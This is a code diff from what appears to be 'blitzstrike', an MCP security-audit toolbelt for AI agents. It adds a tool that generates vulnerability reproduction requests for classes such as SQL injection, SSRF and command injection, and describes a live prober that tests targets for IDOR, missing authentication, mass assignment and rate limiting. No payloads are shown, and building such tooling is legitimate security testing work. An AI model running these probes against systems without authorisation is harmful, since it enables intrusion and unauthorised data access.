+    description: "Turn a finding into a concrete reproduction recipe (the 'reproducible' gate question made executable). Given a vuln class + target + endpoint + param, emit the exact request (with a MARKER), a NEGATIVE CONTROL, and the expected differential that PROVES the bug — plus a Patchstack-style title, derived severity, and the fix. Covers sql_injection, missing_authz/idor, ssrf, xss, ssti, command_injection, file_upload, mass_assignment, jwt_alg_confusion, crlf, open_redirect, xxe, prototype_pollution, deserialization, hardcoded_secret, cache_deception, cors_misconfiguration, subdomain_takeover. Pass type='list' to enumerate supported classes.",
+    inputSchema: {
+      type: string2().describe("Vuln class (sql_injection, idor, ssrf, xss, …) or 'list'"),
+      base_url: string2().optional().describe("Target base URL (https://target.com)"),
+      endpoint: string2().optional().describe("Vulnerable endpoint (e.g. /api/user/123)"),
+      param: string2().optional().describe("Vulnerable parameter name"),
+      method: string2().optional().describe("HTTP method (default GET)"),
+      token: string2().optional().describe("Bearer token for authenticated reproduction"),
+      victim_id: string2().optional().describe("Victim object id (for IDOR)"),
+      canary: string2().optional().describe("OOB canary URL (for SSRF)")
+    }
+  }, async ({ type, base_url, endpoint, param, method, token, victim_id, canary }) => {
+    if (type === "list")
+      return { content: [{ type: "text", text: JSON.stringify({ supported: listPocTypes() }) }] };
+    return { content: [{ type: "text", text: JSON.stringify(autoPoc({ type, base_url: base_url ?? "https://target.com", endpoint: endpoint ?? "/", param, method, token, victim_id, canary })) }] };
+  });
   server.registerTool("sibling_scan", {
     title: "Sibling Rule Engine — deterministic live logic-bug prober",
     description: "LIVE (black-box): deterministic logic-bug prober that closes the gap static detectors can't cover (IDOR / broken authz / mass assignment / rate limit). From a base endpoint it (1) enumerates sibling paths (/export /delete /share /{id} /list /settings …), (2) differential-tests IDOR — the victim's object fetched with the ATTACKER's token (A's token + B's id returning 200 = IDOR proven), (3) probes each sibling with NO token for missing auth, (4) injects role/admin fields on POST/PUT for mass assignment, and (5) fires 15 rapid requests to check rate limiting. Every hit is a DIFFERENTIAL (status + body), never a guess; hits-only output. Provide base_url, endpoint, and (for IDOR) the attacker + victim tokens + the victim's object id.",

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.89",
+  "version": "2.4.90",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {